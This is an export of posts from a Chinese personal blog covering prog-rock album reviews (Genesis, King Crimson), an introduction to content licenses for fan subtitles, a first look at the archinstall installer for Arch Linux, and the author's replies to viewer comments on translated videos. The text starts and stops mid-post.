tictok神曲),记住这些旋律是十分享受的,而不是折磨的。Steve在Genesis里主要是承担着点缀音乐的作用,诸如Hogweed前面的快速点弦,Horizon是在上主菜前的一个插曲之类。虽然他自己的写的旋律很好,但是没人用啊,难怪他后来退队了。\u003c/p\u003e\n\u003cp\u003e说到力度,这张专辑给人的感觉很割裂。有些歌曲从头到尾都很有力,诸如Sqounk。而其他的歌曲大多十分轻松,尤其是Entangled。这点我觉得相比之前的专辑,有点不太好。Genesis前卫高峰时期的专辑都是很能把握歌曲的力度的,一首歌的力度变化是十分丰富的。比如Stagnation,前面很轻盈,中间加了点力度,后面又让人很放松,但是最后还是留有一定的力度。Cinema Show是由轻到重,逐渐加强的。然而这张专辑,大多数歌曲传递出来的力度都十分单一。尤其是Sqounk,力度变化基本上没有,而且十分急促,好像有人一直在跟你抱怨着什么,我是十分不喜欢的。在力度方面,Los Endos这个纯乐器独奏,十分多元化,个人认为是乐队通过这个独奏,告诉大家,我们的音乐依然是多元的。\u003c/p\u003e\n\u003ch2 id=\"关于内容\"\u003e关于内容\u003c/h2\u003e\n\u003cp\u003e至于专辑内容,我个人倒不是很注意,因为这张专辑的旋律性重于歌词。我除了Robbery, Assault and Battery和Ripples的内容看了一下之外,其他的没看。要不是歌曲的旋律告诉了我们(比如第一首,明显体现了乐队继续前进的决心),更多是我对看歌词不感兴趣。Robbery, Assault and Battery讲述了一个十分奇怪的故事,没太看懂歌词的我也能体会到其中的荒诞性,大致是一个大盗的胡乱自述,经常出现“老调重弹(Same old song)”这句词。而Ripples这首歌,借着水中的波纹,唱出了青春一去不反的伤感。(Marge: 你才20岁,担心啥呢:-P)歌词中的“A Thousands Ship”让我无端联想到Doors 里的The Crystal Ship,看出来女孩子心里变化的丰富(毕竟她们是不同的生物呢)。\u003c/p\u003e\n\u003ch2 id=\"关于历史地位\"\u003e关于历史地位\u003c/h2\u003e\n\u003cp\u003e这张专辑是Genesis的转折点,Genesis顺应时代的变化,精简掉歌曲中复杂的结构,将人们重视的旋律弄得十分突出。不过,他们仍然保留了很多的复杂,精巧的元素。这张专辑中,有内容上很有意思的,也有结构复杂的歌曲,也有他们继续前行的决心。下一张专辑中,则有上来就很抓耳的旋律,也有十多分钟长的器乐歌曲串烧,还有一首启发自猫和老鼠的歌曲。而在Hackett退出后,乐队有点离心,在过渡了两张专辑后,彻底转型为流行,那些歌嘛,我就不想说了。这张专辑是他们刚刚开始转型的专辑,前卫性很强,而由于他们做出的变化,让其更能为人所接受。所以,如果你们想了解前卫摇滚的话,可以先拿这张适应一下,适应后再开始你们的前卫之旅(建议拿 Yes 的 Tails of Topographic Ocans 来提升一下)。\u003c/p\u003e\n\u003cp\u003e最后,感谢南方翻译的前卫摇滚历史,最后一段的分析实际上在那个视频里面提到过。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=5\" target=\"_blank\" rel=\"noopener\"\n \u003eProg Archive上面的评论\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/28748-Genesis-A-Trick-Of-The-Tail\" target=\"_blank\" rel=\"noopener\"\n \u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Af4y1F79H\" target=\"_blank\" rel=\"noopener\"\n \u003e本人翻译的一个介绍本专辑的纪录片\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\n \u003e南方翻译纪录片的片段\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"彩蛋我画的ripples封面\"\u003e彩蛋:我画的Ripples封面\u003c/h2\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/CFQrlqIWV5jDGh8.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e右面的是姐姐Remila,左面的是他的妹妹Flandre。姐姐照着魔镜,看到自己的妹妹读着Mad Hatter开的荒诞的茶会而高兴不已。虽然她们俩永远都不会老去,但是姐姐见过的太多了,对妹妹的童真无邪十分羡慕。\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如果你了解东方的话,你很快就能反应过来这两个人的原型是红魔馆的两个主人。但我没有照搬吸血鬼的设定,因为我画的是人啊。还有,我觉得东方里的角色都可以拿过来,稍微修改一下设定,就能给每一首前卫歌曲画一张,这样,我们就能借着东方,宣传前卫摇滚啦。对了,我不太是东方的粉丝,目前真的只对东方里那些女孩子的个性和外观感兴趣\u0026hellip;\u0026hellip;\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/a-trick-of-the-tail-review.html"},{"title":"我的字幕授权协议(兼各种我知道的授权协议介绍)","time":"2021-08-02T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/INzBQdJWynZbLmR.jpg\" alt=\"Featured image of post 我的字幕授权协议(兼各种我知道的授权协议介绍)\" /\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e什么,字幕还有授权协议?那当然,要不我辛辛苦苦翻译的东西总有一天会被营销号拿走:-P\u003c/p\u003e\n\u003cp\u003e先推荐给字幕作者这篇文章,虽然我的翻译明显不是这样:-P\u003c/p\u003e\n\u003cp\u003e【经验分享】从事个人翻译的几点心得 @ 某科学的小姚同志\u003c/p\u003e\n\u003cp\u003e好啦,在贴出我的协议之前,先给大家介绍几种授权协议吧:\u003c/p\u003e\n\u003ch2 id=\"copyleft-类型的协议\"\u003eCopyLeft 类型的协议\u003c/h2\u003e\n\u003cp\u003e这类协议最大的特点是,自由是被强制的。也就是说,虽然该授权协议给予你很多的权利,但是你衍生作品的授权协议也得授权给用户那么多的权利。\u003c/p\u003e\n\u003cp\u003e对于字幕呢,如果想这么办的话,CC-BY(Attribution, 署名)-ShareAlike(相同方式共享)是一个相当好的选择。\u003c/p\u003e\n\u003cp\u003e举例:《雷神之锤》引擎(id Tech 2)的授权协议是GPL v2,一个CopyLeft类型的协议。也就是说,如果你没跟原作者id公司另行签订协议的话,你写的改进版《雷神之锤》引擎(英文叫source port)必须也得是GPL v2授权,以保证这个衍生作品是自由的。我电脑里装有vkquake改进引擎,就是GPL授权的。\u003c/p\u003e\n\u003cp\u003e个人评价:这很明显干涉到了开发者的自由,因为他不能将自己的想法按照自己的想法公布。但是,对于软件来说是件好事情,因为透明性,更多人可以加入,给软件添砖加瓦。而对于我的字幕来说,如果别人翻译视频或者引用的话,因为授权协议,就得违背自己的本意开放各种细节,也不太好吧。\u003c/p\u003e\n\u003ch2 id=\"copyright类型的开源协议\"\u003eCopyRight类型的开源协议\u003c/h2\u003e\n\u003cp\u003e这种协议呢,作者保留自己应该有的权利。不过作者开发给各位用户随意处置该软件的自由。\u003c/p\u003e\n\u003cp\u003e这种协议应该是被使用最多的开源协议了,比如MIT协议,只要将该协议文本随衍生作品分发即可。对于字幕,就是CC-BY了。\u003c/p\u003e\n\u003cp\u003e举例:3Blue1Brown的作者使用自己写的Manim库做视频,该库按照他的MIT协议授权。社区在他代码的基础上维护,搞了一个社区版,按照原版的MIT协议和社区版的MIT协议授权。\u003c/p\u003e\n\u003cp\u003e还有一个例子:github上driver1998(Bilibili上是初生之鸟)做的字幕是CC-BY授权,所以,如果我要给LGR发送他做的视频字幕的话,只要在文件里写上他的名字和CC-BY授权就行了。\u003c/p\u003e\n\u003cp\u003e个人评价:这种协议十分符合我心中的开源协议,我给你们随便用,别忘了提我名字就行之类。但是,对于某些耍流氓的,恐怕就不友好了,懂得都懂。对于字幕呢,如果你不像我那么在意某些事情的话,用这种类型的吧。\u003c/p\u003e\n\u003ch2 id=\"半开源协议\"\u003e半开源协议\u003c/h2\u003e\n\u003cp\u003e这种情况比较复杂:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e作者仅仅是放出来了代码,而没给协议。\u003c/li\u003e\n\u003cli\u003e作者写了自己的开源协议,但是限制比较多,视情况而定。\u003c/li\u003e\n\u003cli\u003e对于第一种情况,如果你要对修改后的代码有进一步动作的话,理论上来说必须联系原作者。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e举例:我打包的《东方毁灭战士》就是属于没有授权协议的游戏。默认由原作者Untitled保留他所写代码的所有权利,而贴图,萌妹子之类的呢,我就不知道了。\u003c/p\u003e\n\u003cp\u003e对于第二种情况,那就看吧。像Anti996协议这种,照办即可。要是诸如限制商业用途,必须喜欢Maggie Simpson等情况的话,在某种程度上也得联系原作者了。\u003c/p\u003e\n\u003cp\u003e举例:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e金源引擎是开源的,但是Valve的授权协议禁止未经允许的商用。\u003c/li\u003e\n\u003cli\u003eKen Sliverman 给自己的 BUILD 引擎写了一个授权,也是禁止未经允许的商用,而且还要求使用者尽量明智地自己解决阅读代码中遇到的问题,他可能没有时间一一回复。\u003c/li\u003e\n\u003cli\u003eHeretic和Hexen的代码开源的时候,授权是动视的EULA,导致开源社区根本没法在项目中使用。后来在社区的强烈要求下,代码的授权在2008年的时候改成了GPLv2。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e个人评价:如果你对有些事情有些看法的话,可以试试这种类型的。不过你得自己写一个,一般魔改MIT协议是一个省力的好办法。\u003c/p\u003e\n\u003cp\u003e我的字幕授权一开始是CC0+Anti996授权,后来我对之前遇到过的两次官方视频翻译组出现的一些问题(8bitguy天降机翻正义事件和Chub翻译组组长跑路事件)有点在意,所以自己写了一个。先耐下心,最后再给大家贴出来。\u003c/p\u003e\n\u003ch2 id=\"闭源协议\"\u003e闭源协议\u003c/h2\u003e\n\u003cp\u003e这是大家遇到最多的协议了,一般条款苛刻,而且十分倾向开发者的利益。站在文化的交流和自由的角度,我绝对不推荐任何人使用这种协议。不过你用了我也管不着,你的自由啊:-)\u003c/p\u003e\n\u003cp\u003e有一个特例是Everything,他的二进制文件是MIT授权,而原作者没有公布代码。\u003c/p\u003e\n\u003cp\u003e而字幕嘛\u0026hellip;\u0026hellip;我觉得根本无法闭源啊,只要视频在,总能读出来的嘛。\u003c/p\u003e\n\u003ch2 id=\"公有领域\"\u003e公有领域\u003c/h2\u003e\n\u003cp\u003e这种东西呢,是作者放弃所有权利的产物。字幕方面,我是绝对不会推荐使用这个协议的。软件代码就看着办吧,我的作业代码就是公有领域的。\u003c/p\u003e\n\u003ch2 id=\"我的协议\"\u003e我的协议\u003c/h2\u003e\n\u003cp\u003e好了,该把我的协议贴出来了。去我网页看吧。\u003c/p\u003e\n\u003cp\u003e谢谢阅读。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/my-license-introduction.html"},{"title":"archinstall 初体验 (省流文字版)","time":"2021-05-01T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/2UrIqVcRG3YiECJ.jpg\" alt=\"Featured image of post archinstall 初体验 (省流文字版)\" /\u003e\u003cp\u003e再编辑版注:鉴于该软件在我回顾的时候,已经有所改变,故这里不放出所有贴图。各位想了解的话,看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Archinstall\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e继2012年Arch Linux弃用了安装器之后,在今年的4月1日,官方发布了全新的安装器,不过仍在实验阶段。今天我来体验一下。视频版在此,不建议不开倍速观看:\u003cbr\u003e\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\u003cdiv class=\"video-wrapper\"\u003e\r\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV1GA41157XK\"\r\n scrolling=\"no\"\r\n frameborder=\"no\"\r\n framespacing=\"0\"\r\n allowfullscreen=\"true\"\r\n \u003e\r\n \u003c/iframe\u003e\r\n\u003c/div\u003e\r\n\u003c/p\u003e\n\u003ch2 id=\"步骤\"\u003e步骤\u003c/h2\u003e\n\u003cp\u003e首先,搞到一个2021-04-01及之后版本的Arch Linux安装镜像,启动后在命令行下输入\u0026quot;archinstall\u0026quot;命令即可运行该安装程序。\u003cbr\u003e\n首先出现的是键盘布局选择界面,这里在20(UK)和21(US)之间选择,UK布局较US多了一些法文字母,这样就可以打出café, coup d\u0026rsquo;etat这样的在英语中使用的法文词汇了。\u003cbr\u003e\n之后我们可以选择从哪里的服务器下载软件包,较传统的安装方式,这个可以说是方便了不少。原来的安装方式是执行个测速工具,或是直接修改mirrorlist。\u003cbr\u003e\n然后可以选择安装进的硬盘,还能选择是否覆盖安装等,不过没有分区工具选项,只能使用一个默认的分区方案,分区为/boot和根目录(该工具仅支持UEFI):-\\\u003cbr\u003e\n选择硬盘后,选择分区文件系统,除了ext4外我一无所知。这里有一个给磁盘加密的选项,挺好的。Houge_Langley@Bilibili 做了几期视频介绍,链接附下。\u003cbr\u003e\n分区配置完毕后,这里设置电脑名称,超级用户密码,添加用户。这里有两个亮点:提示不设置超级用户密码的话,会禁用超级管理员用户(虽然Linux都这样,但在这里提示也是件好事);还有赋予新用户超级管理权限(比visudo好用多了)。\u003cbr\u003e\n安装工具新提供了安装桌面环境,显卡驱动等选项,目前没有xfce,mate,lxde等:-| 至于为啥没有gnome-wayland,gnome默认为wayland。\u003cbr\u003e\n对了,archinstall是一个框架,任何会用python的人都可以用它写自己的安装脚本。\u003cbr\u003e\n我们还可以添加其他的安装包,这里我安装了两个Virtualbox客户机的模块。\u003cbr\u003e\n然后程序给出了一个总结,总觉得应该写成一个让人好明白的东西,而不是这个类似bash的配置文件。注意没有引导程序选择,因为只能选择systemd-boot,侧面体现其仍在开发。\u003cbr\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/h9Mpb6UzmPQ1nrF.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"最后总结页面\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最后总结页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\n最后重启后,根据我选择的GNOME环境,程序安装并配置好了,不过VBOX增强工具没有激活,需要在上述安装完成后arch-chroot一下。\u003c/p\u003e\n\u003ch2 id=\"小结\"\u003e小结\u003c/h2\u003e\n\u003cp\u003e这个工具目前处于一个鸡肋的状态。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e这个工具比较不透明,我不知道选择某个选项后会出现什么结果。执行时默认也没有比较详细的信息。\u003c/li\u003e\n\u003cli\u003e他十分不灵活,选项就那几个,我只能限制在他给的选项方面选择,而不能自己决定一些东西,尤其是分区方面。\u003c/li\u003e\n\u003cli\u003e要想有自己的需求的话,安装完有些东西还得去arch-chroot输命令,我既然要输入命令的话,为啥不从头到尾都在输命令呢:-\\\u003c/li\u003e\n\u003cli\u003e对于小白的话,根据官方安装指南安装的话,至少能对Linux系统某些基本的东西(诸如分区,网络配置,软件管理等)有一定的了解,而这个东西我觉得不太能像安装指南一样起到这样的作用吧。\u003c/li\u003e\n\u003cli\u003e当然,这个安装程序可以自己写python脚本来配置。对于有定制需求的人来说,是件好事。但对于我这种有需求,但是技术不到位的人来说,就不太好了,还是走官方流程吧。\u003c/li\u003e\n\u003cli\u003e对于只是拿这个装13的人来说,只要英文过关的话,还挺方便的呢(bushi\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e当然,官方也在积极改进这个软件,希望将来能够更加好用吧。也希望成熟的那一天,纯输命令的安装方式还能存在。\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1BZ4y1G7ie\" target=\"_blank\" rel=\"noopener\"\n \u003eHouge_Langley 采访 felixonmars\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1s5411N7qN\" target=\"_blank\" rel=\"noopener\"\n \u003eHouge_Langley 在 ZFS 上面装 Arch Linux\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1X7411K7fo\" target=\"_blank\" rel=\"noopener\"\n \u003e老莱给大家介绍Linux的十大优越之处!\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/experience-of-archinstall.html"},{"title":"King Crimson - Islands 听后感","time":"2021-02-27T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/CZijR4n5OoP9rtL.jpg\" alt=\"Featured image of post King Crimson - Islands 听后感\" /\u003e\u003cp\u003e在1969年King Crimson发表了富有创造性的首专之后,由于各乐队成员间之间创作理念的不同,乐队分崩离析。在短短两年内产生了三张不同风格的专辑。其中第二张In the Wake of Posidon与首专过于相像,虽然好听,但是缺少创意;第三张Lizard难以让我接受,主要是其中Peter Sinfield营造的轻浮气息。而今天我要给大家介绍的第四张专辑,Island,虽然实验性是这几张中最差的,概念性也不怎么好,但是可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e这张专辑仅有的实验性部分,就是吹奏乐器的大部分使用,虽然在前一张专辑中已经这样了,但是鉴于上一专的轻浮和乐队成员间的合作不愉快,我觉得效果不如这个好。这点尤其在The Letters中明显体现了出来。在The Letters中,在情人给妻子写下了毒舌信后,上来的萨克斯沉重有力,与前面平静的声音形成了鲜明的对比,体现了情人收到信后沉重无比的心。之后的萨克斯演奏逐渐由混乱到平静和坚定,体现了妻子的伤心难受和之后的坚强面对。在这首歌中,萨克斯的吹奏对这首歌气氛的渲染有十分明显的影响。而在其他歌曲中,吹奏乐器更是音乐中不可或缺的一部分,无论是Song of Gulls中悠扬的长笛,Sailor\u0026rsquo;s Tail中萨克斯代表着大风,还是Islands中长号的尾奏,都让我印象深刻。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/1rE32pjTftclLan.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e最左面的两张图片就是吹奏家Mel Collins,King Crimson混乱时期音乐的中流砥柱。最上面的是Robert Fripp,最右面的是Peter Sinfield,最下面的是Ian Wallace,剩下的照片是Boz Burrell\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e当然,除了我上面说到的,Sailor’s Tail精妙的结构和Song of Gulls的古典化和弦之外,我在这张专辑中很难找到其他的实验性特点了,这对于一张前卫摇滚专辑而言,是不合格的。第一首Formentera Lady就是两个贝斯音符的重复为底,再点缀些令人放松的乐器。而Ladies of the Road基本上就是词作者Peter Sinfield泡妞体验的综合,再加上Robert Fripp和弦,然后直接塞给你了,我是真不喜欢。最后的压轴曲,Island,基本上就是主旋律用各种乐器重复演奏,听多了容易审美疲劳。相比较而言,Lizard虽然我十分讨厌,但不得不承认,单凭最后一首23分钟的史诗,它的实验性也比这张强。\u003c/p\u003e\n\u003cp\u003e说到Robert Fripp,我觉得他这张专辑有点不在状态。首先是将自己之前写的歌曲和弦改编一下就用了。举例来说,Song of the Gulls改编自Robert Fripp于1968写的Suite No.1,那时他还在Giles, Giles \u0026amp; Fripp里面打杂手。然后就是Sailor\u0026rsquo;s Tail结尾的扫弦,因为他当时巡演累坏了,实在是想不出该弹啥了。还有就是与乐队真正的领头人Peter Sinfield在创作上的矛盾,导致他基本不和其他乐队成员来往了,最后一通电话,解散了乐队。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/4BJ8UeCKk1Gnpr2.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e还有一点,就是Robert Fripp这个人太正经。你看看其他人,性格是多么活泼啊。女孩子喜欢幽默活泼的人。所以说Fripp应该十分羡慕其他人能和女孩子谈笑风生吧\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e在这张专辑中,我还要说出一点我很不理解的事情,就是这张专辑整体的概念设计。上一张专辑主要是描述英国资产革命期间的保皇派领袖Prince Rupert的英勇战斗。而这回话锋一转,我们来到了温暖的热带群岛,远处的帆船经过与风暴的搏斗后,疲惫地停落在此。夕阳西下,海鸥翱翔,我们在海浪的拍打声中逐渐入眠。这张专辑的概念,要我说,也太不前卫了吧。首专和二专的主题是反战和对现代社会的反思,三专的主题是中世纪和冒险,都体现了词作者Peter Sinfield的家国情怀和历史底蕴。难道在反战运动结束以后,Sinfield去某个热带岛屿度个假之后,整个人就散漫下来了?但不得不说,就这种烂大街的主题,经由乐队的合力协作,再加上仅有的一点实验性,听感在我看来,是最好的。也是我觉得,最能让普罗大众接受的一张King Crimson专辑了吧。所以我说,这张专辑的可欣赏度是这几张中最好的。\u003c/p\u003e\n\u003cp\u003e总体而言,虽然这张专辑实验性不强,概念上又很简单,但是我还是很喜欢这张专辑的。浪漫,轻松,又很好理解。对于现在处于加速过度社会的我们而言,也许这张慢节奏的专辑能我们在短短的44分钟内来个海南一周游,好好放松一下。\u003c/p\u003e\n\u003cp\u003e说到海南一周游,还有一件事。我不想开学啊!!!\u003c/p\u003e\n\u003cp\u003e推荐链接:\u003cbr\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1906\" target=\"_blank\" rel=\"noopener\"\n \u003eProg Archive上的评论\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.discogs.com/master/436-King-Crimson-Islands\" target=\"_blank\" rel=\"noopener\"\n \u003eDiscogs上面的专辑版本信息\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1NZ4y1p7fM\" target=\"_blank\" rel=\"noopener\"\n \u003e南方翻译的纪录片片段\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/islands-review.html"},{"title":"过年了,给大家回复弹幕,然后瞎扯两句","time":"2021-02-12T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/OxMmK6yZD9vE2Xu.png\" alt=\"Featured image of post 过年了,给大家回复弹幕,然后瞎扯两句\" /\u003e\u003cp\u003e一般我会在评论区给大家回复交流,但是弹幕就没法给大家回复了,因此,趁今天过年,我给大家统一回复一下,顺便瞎扯两句。\u003cbr\u003e\n在此之前,首先,感谢大家在弹幕中对我字幕中的错误做出指正。其次,感谢在弹幕中分享知识的人。\u003c/p\u003e\n\u003ch2 id=\"第一个老先生的本性释放时间建议自行震撼\"\u003e第一个:老先生的本性释放时间(建议自行震撼)\u003c/h2\u003e\n\u003cp\u003e【熟肉】震惊,Robert Fripp居然弹起了齐柏林飞艇\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDiment@Bilibili: 可怜又无助的Fripp\u0026hellip;\u0026hellip;\u003cbr\u003e\n回复: Fripp:我的媳妇,我管不住啊!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到Fripp的释放本性,你们可以听听Island专辑中的Ladies on the Road。先不说大色狼Peter Sinfield写的歌词,先是开头Fripp的吉他滑音,就让我觉得这首歌绝对不是什么正经歌曲。后来唱歌的时候,Fripp的吉他也是被迫地极尽调戏本性。辛亏后来Mel Collins的吹奏乐器给Fripp救了场,要不Fripp演半截就要走人了,歌曲的后半部分我很难听到吉他的声音了。\u003cbr\u003e\n不过说真的,如果你们喜欢King Crimson的话,你们可以 @南方History,他上传了很多关于King Crimson的视频,还有一个专业乐评。\u003c/p\u003e\n\u003ch2 id=\"第二个某个疯子花了一个小时装了一台废铁这是我爸说的\"\u003e第二个:某个疯子花了一个小时装了一台废铁(这是我爸说的)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 攒一台486 DOS电脑!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原字幕:And since ever the dawn of time, in fact, I think those 2032s predate humanity.\u003cbr\u003e\n这里大概就是开玩笑说CR2032这玩意存在很久了甚至在史前没有人类的时候就出现了hhhhhhh\u003cbr\u003e\n回复:谢谢 whc2001 的注解,其实LGR的视频很多话我都不太明白,而且他的语速还贼快。\u003c/p\u003e\n\u003cp\u003e原字幕:“Have you seen these faces?” My God.\u003cbr\u003e\n翻译为:“你见过他们吗?” 这波吟唱lttstore.com\u003cbr\u003e\n@Linus Tech Tips\u003cbr\u003e\n回复:Linus没有给我广告费。另外,我觉得自从疫情以来,LTT有点不太好过。现在LTT必须有一段请求关注和周边广告,而且有些赞助视频质量不太好(不包括 活 笑 料 )\u003cbr\u003e\n回顾:现在的LTT,还是安东尼好。\u003c/p\u003e\n\u003cp\u003e那时候还没有通道这个概念随便插的嘛?\u003cbr\u003e\n我上网查了一下,这个应该是EDO内存,而通道内存的概念得DDR出现了吧,那都1998年了吧。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这个视频我喜欢的地方是后面调试软件的部分,可是我查看后台发现大家更喜欢前面的动手部分,我可能折腾软件太多了吧(毕竟我不是飘哥,他从小学开始就玩硬件)。\u003cbr\u003e\n另外,这个是Bilibili上第二个,也是第一个被广泛关注的LGR视频(第一个是BV1Js411v7o1,讲的是MO磁光盘)。第一个熟肉LGR视频是由蟒人摸象翻译的,而播放量最多的LGR熟肉是由初生之鸟翻译的。\u003cbr\u003e\n我是在高二暑假时看到了很多这样的视频,我第一个关注的是David Murray。(有意思的是,前The8-BitGuy授权翻译HikariCalyx,能解锁诺基亚),然而我是在高考完之后才开始翻译视频的。而这个视频也大幅提高了我的关注度,某科学的小姚同志和pingatsky等搬运工也邀请我加入了翻译工大家庭,从此走上了翻译视频的不归路:-)所以,感谢这个平台和所有帮助我,关注并支持我的人吧。\u003c/p\u003e\n\u003ch2 id=\"第三个john-carmark-yyds因为他开放了doom源代码\"\u003e第三个:John Carmark yyds(因为他开放了DOOM源代码)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR游戏评测 - 就算过了几十年,《毁灭战士》还是好游戏!\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.最简单难度:我这么年轻就想死(I\u0026rsquo;m too young to die)\u003cbr\u003e\n2.不要太嚣张了(Not too Rough)\u003cbr\u003e\n3.痛打我吧!(Hurt me Plenty)\u003cbr\u003e\n4.终极暴力(Ultra-Violence)\u003cbr\u003e\n5.噩梦模式(Nightmare)\u003cbr\u003e\n感谢工程师NopeNope 提供的翻译。我觉得最简单难度那里有个问号吧。\u003c/p\u003e\n\u003cp\u003e1.深入尸堆(Knee-Deep in the Dead)\u003cbr\u003e\n2.地狱之海(The Shores of Hell)\u003cbr\u003e\n3.炼狱的试炼(Inferno)\u003cbr\u003e\n同理,感谢提供翻译的人。实际上我玩的时候,没有注意这些。电子游戏的剧情真的就是爱情动作片呗(John Carmark因此开除了Tom Hall)。\u003c/p\u003e\n\u003cp\u003e勘误:Unreal和Thief都是该时代相对先进的第一人称游戏\u003cbr\u003e\n感谢今哥的野望的勘误。Unreal在1990年由育碧发行,而Thief是1981年发行的街机游戏。详询可以Bing一下。\u003cbr\u003e\n回顾:Unreal是虚幻啊,我当时在想什么\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e毁灭战士绝对是一个好游戏,我玩的十分上劲。而这个视频也是我的得意之作,因为这个视频的梗我玩的十分的溜(不是),因为当时我看经典名著电视剧比较多(没错,我在高考后才开始看)。顺便说一句,我到现在为止仍然很不喜欢《红楼梦》,不过里面的贾母让我想到了我的奶奶,都是十分疼爱孙子的。\u003cbr\u003e\n实际上现在有很多游戏的画质更好,但我觉得有些游戏真正吸引我的是玩法的复杂多样和音乐的经典。这个游戏的玩法说简单,就是WASD(不是原版,是GZDOOM),说复杂,就有平移跳跃之类,而在这方面我基本不懂,而且我也是手残党。\u003cbr\u003e\n而在音乐方面,就是Bobby Prince编写的重金属配乐。节奏感和旋律性十分强,有些配乐我也十分喜欢(诸如DOOM二代中的《DOOM》)。作为King 